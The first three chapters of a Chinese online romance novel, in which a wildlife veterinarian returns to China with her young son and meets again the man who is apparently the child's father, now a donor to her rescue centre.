《引冬序[破镜重圆]》
1. 第 1 章
《引冬序》
文/姜温夏
晋江文学城首发
2026.01.03
霍予珩的人生有两种颜色,黎冬离开后寡淡如冬的灰白,和鲜明如黎冬的斑斓。
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“黎医生,这是弹珠吗?”
一只被麻醉昏睡的红隼躺在手术台上,身上盖着一张无菌巾,腹部位置开出的几厘米缺口处鲜血斑斑,黎冬从打开的红隼腹部小心夹出一颗血淋淋圆球,放在眼前仔细端详。
“是泥丸。”
硬度很强的泥丸。
她将泥丸放进弯盘,发出“嗒”的一声脆响。
身边助手几声低骂,用斯洛文尼亚语和一旁的志愿者喋喋不休地说起弹弓危害,晃见黎冬沉静的侧脸才止声。
黎冬动作利落,已经独自完成止血,伤口缝合也接近尾声,只顾吐槽完全忘记本职工作的助手一时脸颊发烫,手上找着事情做,又用英语问起黎冬:“黎医生,这次临时请您回来做手术,有没有耽误您回国呀?”
“没关系,明天的飞机。”
黎冬将红隼伤口缝合好,检查好它的状态,示意助手将它转移到特殊看护室。
“谢天谢地,”助理说道,“黎医生,您真的不考虑留在斯洛文尼亚吗,这里虽然没有中国地大物博,可工作轻松,景色优美,还有抢着搭讪求婚的帅哥。”
助理20岁出头,正是畅想爱情的年纪。她还记得夏天的一场暴雨过后,一位先生送来只鹦鹉,是黎医生收诊的,第二天那位先生又来了,抱着玫瑰半跪在地上跟黎医生求婚,黎医生还没说话,从旁边蹦出个小不点,挺着小胸脯站在男人面前,上下打量他,“你是在跟我老婆求婚吗?”
男人惊恐地看向孩子,又以疑问的眼神看向黎冬。
黎冬靠在桌沿上,讳莫如深地抱臂点头,助理不敢言。
男人走后,助理抱起黎右点着他鼻子打趣:“你挡了妈妈多少桃花呀!”
黎右不服:“他们都没有我daddy帅!”
黎冬笑着摇头,她来到斯洛文尼亚一年有余,一直在这里的野生动物救助站工作,儿子黎右今年3岁,到了入园年龄,斯洛文尼亚华人少,当地语言难学,并不适合学龄儿童长期居住生活,家里人又提了几次,黎冬决定辞去工作回国定居。
这边的工作已经在半个月前交接好,没想到黎右生了一场病,硬生生拖了十天才好,机票不得不改签,母子二人下午在家快乐地收拾行李时,黎冬接到求助电话。
一只红隼没控制好飞行高度,迎面撞上一辆公交车后当场昏迷,有好心人将红隼送到救助站,康复师检查后发现除了口腔撞击出血及羽毛损伤,这只红隼最大的问题是腹腔内有一颗弹珠。
救助站资历高的那位高级康复师这周在野外联系不上,助手尝试联系曾在这里工作的黎冬,希望她能给予指导建议,没想到黎冬还没离开斯洛文尼亚,很快赶了过来。
这颗弹珠应该已经打进去一段时间,红隼腹部伤口处血液有凝固现象,从X片中看起来弹珠紧挨着肝脏,情况十分危险,做手术取弹珠风险极高,不取弹珠的话这只红隼只有死路一条。
黎冬当机立断制定好手术治疗方案。
手术过程顺利,黎冬将术后注意事项事无巨细地交代给助手,助手担心记不牢,用手机录了音,又拿纸笔记下要点,写了满满两页纸后抱着黎冬叹气:“还是很舍不得您。”
黎冬虽然只在这里待了一年,已经是他们的主心骨,强大,内核稳定,好像没有什么是她解决不了的事情,而且她在的这一年,收到的捐助款比往年翻了三倍。
黎冬摘下口罩,露出一张干净漂亮的脸,她将手套褪掉,拥抱住助手,笑着拍拍她的背,“我的手机号码不变,可以一直保持联络。”
“那太好啦!”助理是这里少有的会讲当地语言、英语,也会一点汉语的人,和黎冬日常交流最多,此刻不舍地拥抱了一下黎冬,想起一件事,“我那天在桌子底下发现了一张您的照片。”
“我的?”
“嗯嗯,可能是夹在哪本书里掉出来的,”助理从抽屉里拿出一个牛皮纸信封交给黎冬,又说,“小右在隔壁和Gigil玩耍,我去喊他过来。”
Gigil是一只养在救助站的小狗,三个月大。
黎冬点头,两指撑开信封,低头去抽里面的照片。
这张以哥大标志性建筑Low Memorial Librar为背景的三男一女合照中,她站在右二位置,笑盈盈看向镜头,虽说距离并没有刻意拉近,神态也自然,可最右侧男人低眉看向她的视线,依旧勾缠出难以言说的暧昧。
“小右睡着了。”助手攥着手机站在门口,小声朝黎冬招手。
黎冬抽回思绪,将照片放回信封,收好口,收进大衣口袋跟了上去。
隔壁房间灯光暖黄,热烘烘的室温下窗子半开着,黎右两只小手攥着遥控器,脸颊热成淡粉色,正睡在……小狗软乎乎的新窝里。
窝边一只关机的机械狗玩具。
被抢了地盘的可怜真小狗只得半趴在黎右身上,像件厚实的黑色小皮袄。
黎冬过去时小狗正睁着眼,眨巴眨巴地看向门口两人,嘴上哼唧两声没过来,只短短的尾巴摇了摇。
这画面太过可爱,黎冬拿出手机拍下一张照片,收好黎右的玩具,这才拿上他的小外套裹起他出门。
一月份的斯洛文尼亚温度和北城相仿,夜晚静谧,天蓝得像丝绒,裹挟着海风味道的风一吹,黎右便醒了,“妈妈你忙完了吗?”
黎冬应一声,将外套裹得更严实了些。
三岁小朋友的小手肉乎乎的,揉揉眼睛,抱紧黎冬脖颈,在她侧脸上亲了一口,“我还没和Gigil告别。”
说完扭故了两下,利落地滑出她怀抱,衣服也不穿地朝Gigil房间跑,把刚趴进窝里的小狗抱起来,珍重地和他顶了好久额头,小声说了句再见,又和救助站的一众叔叔阿姨拥抱告别,这才牵上黎冬的手离开。
路过车子时,黎冬将他的玩具狗放进后备箱,牵着他走出救助站。
“妈妈,不开车回家吗?”黎右问。
“今天是我们留在这里的最后一个夜晚,小右愿意陪妈妈再欣赏一次夜景吗?”黎冬低下头,语气温和。
实则是黎右精力旺盛,特别费妈,刚刚又睡了那一觉,现在不消耗掉他的体力,晚上十二点前别想睡。
“好哦!”
黎右答应下来,松开黎冬手蹬着小短腿往前跑了一段,又折返回来,仰起头问:“妈妈,我们的车也是留给daddy吗?”
黎冬在这里生活一年有余,买了房子,东西也没少置办,她不打算卖房,便将钥匙留给好友言西,让他偶尔过来照看下。
“是言西叔叔。”黎冬抬指敲在黎右脑门儿上,纠正他称呼。
“可是daddy说,再有大孩子说我没有daddy的时候就报他名字,他去把他们揍得屁股开花!”
“叔叔的意思是daddy不在也没人能欺负你。”
“那等daddy回来了我再喊言西叔叔,”鬼灵精的黎右跑远,“是妈妈说别人有的小右都有,小右不能没有daddy!”
黎冬头痛得揉额角,也不知道自己当初生下黎右的决定是对是错,她儿子什么都好,机灵可爱,在斯洛文尼亚这个i人天堂硬生生长成了小社牛,远比普通三岁小孩要聪慧许多,她的生活也跟着多姿多彩,只是儿子这执拗的脾气秉性
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——
姜茉的视频通话在这时拨了过来。
两地时差六个多小时,此时的北城已经步入深夜,镜头中姜茉进门脱掉身上大衣,靳行简拎着她的包跟在身后。
两人寒暄几句,步入正题。
姜茉坐进沙发里,接过靳行简递过来的温水,孩子们都睡了,她的音量不高,“幼儿园那边已经审核通过小右的入学资料,开年入园没问题,在那之前走一个面试流程就好。”
马上就要过年,园方已经放假,姜茉报了几个年后日期,“冬冬你看要约在哪天?”
这座城市主干道两侧布满各色餐厅和咖啡店,黎右没再乱跑,远远站在想去的餐厅外等黎冬,黎冬选好日期,关于面试流程,她特意做过了解,也知道这家幼儿园是出了名的亲子活动多。
她正想问什么,姜茉又开口:“你放心,为难的问题园方不会问,面试那天爸爸会和你一起去,他还说呀,亲子活动你没时间去的话,他这个外公去陪小右参加。”
心口处暖洋洋的,一切的担忧已经被家人提前抚平,黎冬没说客套的感谢话,走到餐厅门口,将手机交给黎右,让他和姜茉姨姨聊一会儿。
点好餐时,黎右隔空亲了姨姨一口,道晚安后挂断视频。
“妈妈,你的手机上有两个长着翅膀的小信封。”
黎右将手机递过来,目光飞向不远处的儿童游乐装置,“妈妈,我可以过去玩吗?”
“去吧,注意安全,不要跟陌生人离开。”
“知道啦!”
黎右从餐椅上滑下去,噔噔噔地跑向游戏区,两三句话的功夫顺利和原本在那儿玩耍的一个小女孩儿拉上小手。
黎冬笑着收回目光。
邮件是北城野生动物救助中心发来的。
按照原计划,她应该在一周前抵达北城,休整几天后开始新工作,黎右一病十天,她跟新单位请了假,落地北城的第二天就要去工作。
发来的邮件有两封,一封系统欢迎邮件,一封下月值班安排。
临近春节,许多公司陆续放假,救助中心却是全年无休,考虑到她是新成员,中心安排她在年前熟悉工作环境,正月初六那天值班,之后正常上班。
工作安排没有问题,黎冬正要放下手机,一条微信消息滑入。
是新同事杨柳。
【杨柳:黎医生,下周一要去市郊救助基地,我把你拉到群里啊】
杨柳动作麻利,黎冬还没回复,就被拉入一个名为“黎山救助基地”的微信群聊,手机叮咚叮咚连响。
【杨柳:@霍予珩 @方淮霍总,方助,陈医生下周开始休产假,期间救助基地工作由黎冬医生负责】
心脏像是被人倏地握住,骤然紧缩成一团,黎冬望着突兀出现在眼前的名字,悬停在屏幕上方的指尖一颤。
霍予珩怎么会……
手机上的叮咚声响将她的思绪撤回。
杨柳发送完群消息来私聊她,迅速交代:【黎医生,霍总是咱们救助中心的财神爷,钱多事少,进群后从来没出现过,不过我们有个大事小情地要在群里走个过场,你有事情和方助理对接就好!】
【黎医生你到群里冒个泡哦,方助理在西欧出差,和你同一个时区,这会儿应该刚到晚上】
缓缓舒出一口气,黎冬应下。
【黎冬:大家好,我是黎冬,以后几个月救助基地工作由我负责】
下一秒,两条消息同时出现在群里,她的话被挤到屏幕中央。
【方淮:黎医生您好,黎山救助基地目前建设到第三阶段,以后每月我会和您对接基地情况】
视线匆匆略过第一条,黎冬的目光滑向许久没见的名字。
【霍予珩:欢迎回国。】
2. 第 2 章
用过晚餐,再走回家,不过九点。
黎右精神饱满得像只刚吃饱饭的小老虎,满身的力气等着撒。
黎冬脱下大衣搭在沙发背脊上,将黎右的小行李箱敞开,“把没装的东西装装好,再检查一遍有没有落下的。”
“OK, mommy!”
“说中文。”
“没问题,我最爱的妈妈!”
是只甜甜的小老虎呢。
黎冬笑着走到另一边,打开保险柜,抱出一大一小两个色泽陈旧温润的黄花梨木匣,分别写着“黎冬”“黎右”名字。
黎右凑过来,将写有自己名字的木匣打开,倒出里面的东西清点,纸张褶皱的纸飞机、不起眼的小石头、不知道哪里捡来的小树杈、塑封保存的金黄树叶,几张拍摄模糊的照片,玩到缺了一只手臂的变形金刚……
最后把一个鼓鼓囊囊的信封放在最上面,拍了两下,小嘴嘟囔着:“我要带着这些信回中国,爸爸生日的时候送给他。”
黎冬嘴角一抽,看他抱着木匣跑到行李箱边,撅着小屁股把里面的衣服往旁边挪,为小木匣让出位置。
她低下头打开自己的大木匣。
木匣宽大,里面却空荡。
一只玉梨,一把钥匙,一个蓝色丝绒首饰盒,和黎右的出生信息。
目光在蓝色首饰盒上微顿,黎冬将这些取出放在随身包包内。黎右仍在快乐地捣鼓自己的行李箱,黎冬将大衣内的信封放进木匣,又拉开抽屉拿出最底层的相框,倒叩着放进去。
言西这周在意大利,黎冬把车钥匙放在家里,发消息让他回来后去救助站开车,又拜托他帮忙邮寄一箱新整理出来的物品。
晚上十点,母子二人洗过香喷喷的澡,黎冬押着黎右上床。
黎右两岁时已经可以自己单独睡,只是前几天生病后一直赖在妈妈身边,黎冬索性将他的房间收拾出来,提前盖好防尘布。
在床上翻了几个跟斗,在黎冬关灯前抓住一只奥特曼躺回自己的小枕头上,黎右小嘴巴一张一合。
“妈妈,你说Gigil会想我吗?”
“妈妈,北城下雪了吗?我回去可以和哥哥姐姐堆雪人吗?”
“妈妈,daddy说中国外卖很快,我们坐外卖车回去是不是更快呀?”
“妈妈,为什么外公姓姜,姨姨姓姜,你却姓黎,我也姓黎呀,我们两个是跟着妈妈姓吗?”
黎冬已经习惯儿子天马行空的问题,关灯躺上床,一一解答,到最后一个问题时她想了想,没有隐瞒自己的身世,拍着黎右的背小声说:“姨姨是外公的亲生女儿,跟着外公姓姜,妈妈呢,是在福利院长大的,后来被两位叔叔阿姨领养后到了美国,过了一段不太好的生活,再后来遇到了你外公,那时候妈妈觉得呀,自己的黎明终于来了,所以把姓改成了黎。”
她被姜商辰收养时十多岁,姜商辰像待女儿一样待她,说可以喊他爸爸,那时候她不明白姜商辰资助了那么多孩子,为什么唯独对她格外好,再加上她起初对他有防备心,后来敬畏居多,便一直喊他叔叔,一直到她自以为隐蔽的在国外生下黎右,姜商辰专门过来一趟,没有多问也没有责备,只再次让她改口,让黎右喊他外公。
姜商辰的商业版图遍布全球,在北美和中国商界都有一席之地,她知道这一声“爸爸”背后暗含的庇护之意。
“虽然妈妈不是外公亲生的小孩,但外公非常疼妈妈的哦,”黎冬亲了亲儿子的额头,“也会非常疼你的。”
三岁多的黎右宝宝似懂非懂地点了点头,小手臂抱住黎冬的脖子,“就像daddy不是我的亲生爸爸也非常疼我一样,对不对呀?”
这令人头痛的称呼……
“言西叔叔。”黎冬再次尝试纠正。
然而黎右陷在自己的逻辑里出不来,“妈妈,daddy不跟我们回国,中国的大孩子说我没有daddy的时候怎么办呀?”
黎右交际能力满分,鬼点子多,很多同龄甚至大他一两岁的孩子爱和他玩,只是突如其来的恶意总让人措手不及,上次几个高他一头的七八岁孩子找上他,围着他大声喊他没有爸爸,黎右窝着一泡眼泪,握着小拳头大喊“没有爸爸我也是最棒的”,可小孩子的行为不会骗人,那之后,黎右对“有daddy”这件事显而易见地执着起来。
黎冬心中歉疚难安,轻轻抚摸黎右额头,“可以和妈妈讲,妈妈来保护你。”
黎右扎进她怀里,声音闷闷的,稚声稚气,“可是我是小男子汉,是要保护妈妈的。”
眼窝有温暖热气聚拢,黎冬还没开口,黎右又仰起头,关灯已经有一段时间,黎冬能看到他清亮天真的眸光。
“妈妈,daddy说我的亲生daddy不会回来了,那我们回中国再找个daddy吧!”
“……”
以为在买白菜吗?
言西背着她都教了黎右些什么啊?
那点窝心的欣慰顷刻间散了,黎冬现在想先敲她儿子再敲言西,可儿子这么可爱哪里舍得敲,黎冬闭上眼睛佯装睡意浓重,“妈妈现在好困哦。”
黎右立马坐起身,他对哄妈妈睡觉的游戏乐此不疲,小小的手掌轻轻抚摸过黎冬的眼皮、鼻子、嘴巴、耳朵,有样学样地学她哄他,嘴上慢慢念,“小眼睛睡着咯,小鼻子睡着咯,小嘴巴睡着咯、小耳朵睡着咯……”
“吧唧”一声,黎右在她脸颊上亲了一口,“你的小宝贝爱你哟!”
乖乖地躺在她身旁,不再说话。
等枕边的呼吸声均匀,黎冬睁开眼睛,摸过放在床头柜上的手机。
夜色浓重,手机屏幕骤然亮起的白光刺得她眯起眼。
不用点开微信群聊,也能看到那个人的名字,以及那一句意味不明的“欢迎回国”。
……
斯洛文尼亚没有直飞北城的航班,黎冬带黎右从卢布尔雅那机场出发,经阿姆斯特丹转机,再飞北城。
黎右从来没坐过这么久的飞机,把自己小书包里的玩具玩了个遍,看了半小时动画片,和隔壁乘客嗨聊一个小时,又和黎冬玩了两个小时,终于电量耗光闭眼睡觉。
黎冬趁机休息。
飞机进入北城上空时黎右趴在舷窗边向下望,小嘴圆张,鳞次栉比的城市建筑,巍峨的远山,在晨光中染上一层明亮耀眼的黄,今年立春早,前几日落过的那场雪还缀在枝头,隐约可见的几点斑白,都让黎右称赞不已。
临近春节,机场大厅人流如织,黎冬左右手各一只行李箱,叮嘱黎右握好行李箱把手,抬头看向索引牌,确认停车场楼层。
等她低下头时,原本紧握着行李箱把手的黎右不见了。
黎冬心中倏然一空,手脚发软,她喊了几声黎右名字,没有得到回应,拉着行李箱慌乱地四下寻找,有旅客为她让开路,有旅客瞥她一眼,事不关己地收回目光后匆忙追赶自己的行程。
机场大厅面积有限,黎冬此刻却有种天地茫茫的感觉。黎右再机灵也不过是个三岁小孩,如果真的走丢了……
大衣口袋里的电话响了许久,黎冬腾出一只手接起,嘈杂的机场大厅中,姜茉声线雀跃,正为马上能见到她和黎右而欣喜。
“冬冬,我们到机场了,你现在——”
“茉茉,”黎冬嗓音里忍不住带上哭腔,“小右不见了。”
“他刚刚就在我身边,一转眼就不见了。”
“你别急,”姜茉语调急切,声线还算稳定,“把你的位置告诉我,我们马上到——”
“好——” 黎冬轻轻吸了一下鼻子,不抱希望地转过身,一道幼小的身影穿过层层人群,跑向即将走出机场大厅的男人一把抱住他腿,被带得向前扑倒,男人及时停下脚步去扶,伸出的手在半空迟疑了一下,最终握住黎右手臂,等站稳后松开。
黎右仰着头看男人,似乎喊了一声爸爸。
那男人背影清贵挺拔,剪裁合体的黑色大衣,里面衬衣领口规整,再往上的那段脖颈修长,有种病态的白。
他停在那,放下手里的电话,低着头打量仰头看他的孩子。
黎冬心头一紧,丢开行李箱往那边走,嗓音发颤,“茉茉,我看到霍予珩了。”
人潮涌动中,男人回过头,露出一张斯文淡漠的,再熟悉不过的脸。
他隔着人群眺望,似乎是在寻找谁。
姜茉再说什么,黎冬已经听不到,耳边只剩翻涌的心跳声。
她现在只有一个念头,阻止这场相遇。
她的目光一错不错地紧盯着重新看向黎右的霍予珩,跌跌撞撞地加快脚步分开人群,站到霍予珩面前时已经气喘吁吁。
几年没见,霍予珩身形上没有太大变化,只眉眼间比过去成熟,他低着头,目光从黎右五官上细致滑过。
来不及整理失序的心跳,黎冬将碎发挽至耳后,拉住黎右的手将他拽到身边,唇边扯出一个得体的笑,抱歉道:“不好意思,孩子认错人了。”
又低身安抚仍一直望着男人的黎右:“他不是你daddy,只是身形像。”
霍予珩抬起头,目光缓缓落在正说话的她身上,黎冬直起身子,尽量自然地和他对视,霍予珩却像是不认识般,目光平静淡然地从她脸上滑过,未发一言转身离开。
机场大厅出口处行人纷纷,阵阵寒风从脚下涌入,黎冬紧握住黎右的手,看霍予珩抬起手臂,将手机贴至耳边。
修长干净的右手无名指上一枚白金戒指。
“妈妈,我手疼。”
黎冬恍然回过神,松开手上力道,虚惊一场后身体脱力,她蹲下身将黎右揽在怀里,轻轻拍了一下他的屁股,“不能乱跑知道吗?”
“知道了,”黎右抱住她脖子,小脸偏向出口方向,声音沮丧,“对不起,妈妈。”
余光中男人站在出口处等人,风鼓起他黑色大衣的下摆,黎冬拉住黎右的手,反身回去拿行李箱,去和姜茉汇合。
握着手机的指节因太过用力而泛白,霍予珩放下手机,沉默着回过头,机场大厅内暖气窣窣,那道纤细柔
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软的身影拉着小男孩步履轻盈,缓缓融进人群。
即便下过一场雪,北城的空气仍干燥,行李箱被靳行简沈怀京接走,黎右被姜茉抱在怀里叽叽喳喳地说着话,三人心照不宣地没提霍予珩。
黎冬拢紧大衣领口,悄悄消化内心的余波。
她在榕湖的房间被清洁一新,之前征求过三位小朋友的意见,黎右的床加在姜茉的孩子姜岁桉和靳岁柠的房间,三个小朋友年龄相仿,之前在视频中已经熟悉,很快玩到一起。
晚上,姜商辰把黎冬叫到书房。
过段时间榕湖前的道路要翻新,这边交通不再便利,榕湖这一处的房子已经有些年份,因为是姜茉已故母亲生前居住过的地方,姜商辰一直不愿搬走,这次打算在此期间重新修缮。
“那段时间我在美国,姜茉靳行简暂时回天樾居住,”姜商辰推给黎冬几把钥匙,“这几处房子你看看,有天樾的,也有别处的。”
两人又聊了几句她的工作安排,默了半晌,姜商辰问她,“孩子爸爸那边需要我处理吗?”
“不用。”黎冬下意识拒绝。
她的回答太快,姜商辰锐利的目光直视过来,好像下一秒就要剖白她的心思。
黎冬轻轻咽了一下嗓子,解释:“我自己处理。”
其实也不用处理,他已经戴了戒指。
回房以后正要睡时,房门被抱着枕头的姜茉敲响。
黎冬有些意外,她刚吹好头发,一头墨色长发披在肩头,整个人柔软温和,笑着轻扬眉梢,“你今晚睡这儿明天靳行简肯定要找机会刺我几句。”
“怕他呢,我和爸爸给你撑腰,”姜茉爬上黎冬的床,“而且那也得看他还有没有力气。”
临过来之前,她去敲了儿童房的门,说爸爸/舅舅要给他们讲睡前故事,三个小家伙抱着小枕头光着小脚丫就冲过去了,看那精神头儿,不磨两个小时睡不着。
两人想到靳行简被三个孩子围拢的画面笑得东倒西歪,上次她们睡在一起还是姜茉结婚前,一晃几年过去,再一次并排躺在床上时都有些感慨,听到对方的喟叹又齐齐笑出声。
姜茉儿时在福利院和黎冬相识,黎冬被领养走后两人分开,后面兜兜转转许多年又重新相遇,是胜似亲人的存在。
黎冬闭着眼睛听姜茉东拉西扯,突然被捅了下腰,“靳行简说霍予珩给你们救助中心的基地捐款了,你们两个会不会时常碰面?”
姜茉终于憋不住问了出来。
“不会碰面。”黎冬后来问了负责基地工作的陈医生,霍予珩所在的HoLi研发集团捐款后只每月和方淮方助理有一次邮件往来,唯一的一次碰面,也是方助理自己过来。
姜茉打了个哈欠往她身边凑,小声嘟囔,“我以为他捐款是算准了你早晚会回国呢。”
不会。
黎冬在心里慢声答。
今天碰面都在装作不认识她,那天那句“欢迎回国”也仅仅是基本礼貌吧。
在路上劳累一天,黎右走丢,再加上不期然遇见霍予珩,黎冬身心俱疲,往姜茉的方向窝了窝,靠着她,过了很久才睡过去。
第二天一早,黎冬筋骨依然疲惫,黎右却已经恢复成了满血的小老虎,腻在姜商辰身边,看她穿上外套时跑过来抱着她的腿晃了晃,“妈妈,你是不是很累呀?今天不要去上班了吧。”
黎冬笑着拍拍他的头,“妈妈昨天和同事讲好今天要去工作,不能爽约哦。”
杨柳昨晚和她讲好今天早上过来接她,两分钟前物业打来电话确认访客,是杨柳到了。
“那好吧,你不要太累。”
他拉了下黎冬,让她蹲下,在她耳边悄悄说:“昨天晚上小柠姐姐说咱们家的女人都是要做大老板的,在家里数钱就行,舅舅这样的男人是打工仔,我和小桉哥哥长大以后也是打工仔,是要出去挣钱的。妈妈你别急,等我长大了换我出去工作。”
黎冬被这样的解释逗笑,一辆黑色轿车稳稳停在院外,她揉了揉黎右的脑袋,“那妈妈等你长大。”
说完起身,推开门出去。
风有些大,她脚步迟疑地朝黑色迈巴赫走去。
副驾的门被推开,下来一个中等身量的女孩,二十三四岁的样子,一张圆润可爱的脸,脸颊上几颗浅浅的雀斑,愣愣地看了她几秒,眯起眼笑着和她打招呼,“黎医生,我是杨柳,你坐后排好吗?”
那笑容有请求意味。
黎冬这才发现,驾驶位上是个西装革履的年轻男人,年轻男人隔着车窗朝她点头,后排车门缓缓开启。
入目处,是男人劲瘦的脚腕,以及一双锃亮的黑色皮鞋。
他身量很高,两条长腿相叠,黑色西装裤裹住修长有力的双腿,宽松的裤管边缘随着冲进车内的冬风轻荡,黑色西装裤上随意搭着的那只手骨感分明,皮肤格外的白。
北城的冬风吹得人骨缝发紧,黎冬脚跟一动想反身回去拿车钥匙,车里男人姿势未变,淡薄却熟悉的声线钉住她脚步。
“黎医生。”
3. 第 3 章
杨柳不安地在座位上动了下。
黎冬在野保人中很有名气,杨柳很早就听过她,知道她谦和有礼好相处,从网络面试以及后续沟通来看,黎冬给她的印象也是如此,包括面试那一天她儿子误闯镜头,隔着网络甜甜地喊她们姨姨,又为自己的行为道歉,可爱又大方的模样也能侧面反映出家长性情。
现在上车后便一言不发垂眼坐着,是因为旁边的霍总吗?
工作关系,杨柳远远见过几次霍予珩,和之前听说的一样,斯文冷淡,皮囊精致优雅,举手投足间极有涵养和魅力。
杨柳想起在群里一言不发的霍总前几日忽然欢迎黎医生入职,心生好奇,悄悄从后视镜观察。
后排外形登对的两人一人垂眸翻阅文件,一人转头看向窗外,气质泾渭分明的一冷一暖。
距离目的地还有一个半小时车程,车内只有音乐声,杨柳是个活泼性子,受不了这样的沉闷,憋了五分钟后咳了一声,从腿下提起一个玩具盒,抱在怀里扭头向后,打破沉默:“黎医生。”
黎冬扭回头,露出招牌式的弯唇微笑:“叫我黎冬就好。”
杨柳被这笑容晃了下,“那好,这是大家准备的见面礼,因为还不知道你的喜好,所以买了玩具送小右。”
“太客气了,”黎冬温和道谢,目光扫过玩具包装,“小右——”
“方淮,”霍予珩翻过一页文件,纸张折叠时带出清脆声响,“调低音量。”
车内温度、湿度、音乐声量都是按照霍予珩喜好调试过的,之前从来没有出现过这种情况,方淮应声操作时目光透过后视镜一瞥,霍予珩单手抵额,看不清表情,那姿势是在说吵。
听出他意思的黎冬默了片刻,再开口时音量低下去许多,“小右最喜欢机器狗,收到一定会开心的。”
男人的手离开额头,搭在膝上,眉心烦躁稍纵即逝。
“那太好了。”
送礼物送到心坎上的杨柳放下心,后排不好放置玩具,她先放到脚下,提醒黎冬回来时记得拿走。
“我们回来也搭,”黎冬罕见地在称呼上卡了壳,“霍总的车吗?”
提到这件事杨柳笑眯了眼,再加上霍总特意让方助理调低音量方便她和黎冬交谈,只觉得他极好相处。
“对呀,今天真的多亏霍总,我的车刚出救助中心就坏了,正巧霍总和方助理今天也过去,就顺便把我捎上了,再一起过来接你。多谢啊霍总。”
被点到名的男人没有马上回应,像是在等待什么,空气有片刻凝滞。
黎冬轻缓吐出一口气,弯唇:“那多谢霍总了。”
“举手之劳。”霍予珩嗓音淡淡,未抬眸,像是没把这种小事放在心上。
神经大条的杨柳并没有察觉出异样,转头看向驾驶位,“也谢谢方助理,天气预报今天下午有雪,我特怕雪天开车。”
“不客气。”方淮口吻温和,没有提及今天的行程是霍总昨晚临时决定的。
前排交谈声断断续续,黎冬扭头看向窗外。
或许是距离太近,或许是她对他的味道太过熟悉,自从上车后,那层浅冷干燥的木质香便萦绕在她鼻息间,自行打开她身体里的记忆,翻到有关于它的那一页。
注意到这个味道是他们第一次见面,后来也听室友提过几次。
那时她和沈怀京在哥大读书,靳行简周末经常从剑桥市来纽约,有时是他自己,有时是和霍予珩一起。
从小在福利院长大,被领养后又到美国,她遇到太多人,经过太多事,对人有敏锐的直觉。
霍予珩给她的第一感觉是不宜靠近。
她也和他保持距离。
有次靳行简和沈怀京在外面谈事情,霍予珩单独来接她吃饭,刚好遇到她室友回来。
那天晚上她和室友一起料理食材时——
“他真的是单身吗?”
“你闻到过他身上的味道吗?”
“那味道危险又迷人,一直在勾引我,无法想象他将我压在身下,用那种疯狂又理智的目光注视我,像是想把我吃掉,呼吸沉重地嗅我脖颈……”
室友的描述大胆又色.情,她微红着颈摇头。
后来。
带着薄茧的指腹碾过她殷红的唇瓣,一寸一寸,顺着下颌线摩挲到颈。
霍予珩手腕压着她的,十指紧扣,掌心的汗与她交融,他俯身,鼻尖抵上她侧颈,身上若有似无的冷香在她鼻间浮动。
明知道他危险,她仍轻颤着靠近。
霍予珩垂眸,鼻尖爱恋地轻蹭过她颈上娇嫩的肌肤,声音轻而哑。
“黎黎,红了。”
窸窣的一阵声响将黎冬从回忆中扯回,杨柳脱掉身上的冲锋衣抱在怀里,撑着手在脸颊边扇了几下,侧身时瞟到黎冬,“黎医生你脖子怎么那么红?”
纤长的睫毛一颤,黎冬面上维持淡定,微笑着接口:“忘记脱外套。”
今天出外勤,她穿了一身黑色软壳冲锋衣裤,将上衣脱下搭在膝上,露出里面的紧身速干衣。她个子只有162cm,不算高,身材比例却极为优越,脖颈修长漂亮,脸颊被热气蒸成淡粉。
似乎有一道视线落在她身上,黎冬转过头,与霍予珩对视上,他整个人冷峻漠然地背靠黑色皮质座椅坐着,目光在她颈上逗留几秒后收回目光,叫了一声“方淮”。
无需他多言,方淮将空调温度调低。
……
“黎山救助基地嘛,因为背靠黎山得名,是两年前开始建设的,咱们救助中心那儿''病房''不够住,那些伤残严重不能放归自然的野生动物,主要是鸟类就安置到这边,也算是让它们老有所依。”
杨柳介绍黎冬和基地的康复师认识过后,带她深入基地。
霍予珩和方淮则被工作人员带去三期工程处。
今天北城温度在零下,杨柳将冲锋衣拉链拉到脖颈处,说话时嘴边呼出大团白汽。
“当时刚好我们和C大于思川老师团队一起做鸟相调查,发现黎山林相植被非常适合鸟类生存,就选在这儿了。”
黎冬打开手里粗糙的手绘地图,基地占地面积广,这一侧稍偏僻,与国道隔着一道防护林,另一侧紧靠植物园,如果打通,那么可以——
“我们现在在这儿,这儿是三期,”杨柳指尖在地图上一点一点,“旁边就是北城植物园,霍总之前提出三期建成后可以和植物园打通,建造一条生态旅游通道,让游客在深度体验中理解野保。冬冬,我记得你面试的时候也提过野保理念和创收结合的想法。诶?”
杨柳一拍手,像突然想起来什么事,“霍总是从纽约回来的,你以前也在那儿,那你们俩有没有在同一个野保公益组织呆过啊?认识吗?”
风卷着潮冷的风吹过面颊,黎冬指尖一顿,收起地图,淡笑着回答:“没有。”
“那好吧。”杨柳没再追问,继续往前走。
黎冬紧跟在她身后。
冬季草木枯竭,鞋底踩在上枯枝发出咔嚓细响,惊动了山间林雀。
抬起头,一只纵纹腹小鸮正扑棱着翅膀飞走。
杨柳目光追随几秒,笑容干净纯粹:“看来明年春天需要再做一次鸟相调查。”
附近树上装置着人工巢箱,杨柳边走边指给黎冬看,又讲了后期种植的草木种类,“这样鸟儿们的温饱问题也就解决了。”
救助基地占地面积广阔,又是在山野,两人没能走完全程杨柳已经气喘吁吁,她热得将冲锋衣拉链一拉到底,“太久没出来,体力跟不上了。”
又看向面色红润呼吸平缓的黎冬,“怎么你完全没事儿啊?”
“想知道秘诀吗?”黎冬笑问,有些热,她把冲锋衣拉链拉到胸口位置。
“什么秘诀啊?”
“家里有个高精力宝宝。”
黎右从小就是个高精力宝宝,可以不睡午觉从早玩到晚,在斯洛文尼亚时,她高薪聘请了两位年轻育儿师一起带黎右,实在是因为一位育儿师吃不消。
她的精力属于正常人类范畴,起初休息日独自带黎右时比上班还累,后来她给黎右报了运动课程,带着满格电量宝宝去上课,下课时领到一个半格电量宝宝,消耗到剩余5%电量时再带回家充电。
隔着网络见过黎右的杨柳本就对他喜爱得不得了,听着黎冬的描述,迅速脑补出一个犯困到揉着眼睛,同时头顶5%电量图标的可爱宝宝,心脏快要软成一团。
两人边聊边往回走,到基地办公室黎冬翻看手机,上午黎右用靳行简的微信发来语音,告诉她他和舅舅去“上班”了,又问她上班累不累,稚声稚气地说着想她。
笑着回复完,她问杨柳,“今天下午有什么安排?”
工作邮件中今天的任务只笼统说明出外勤。
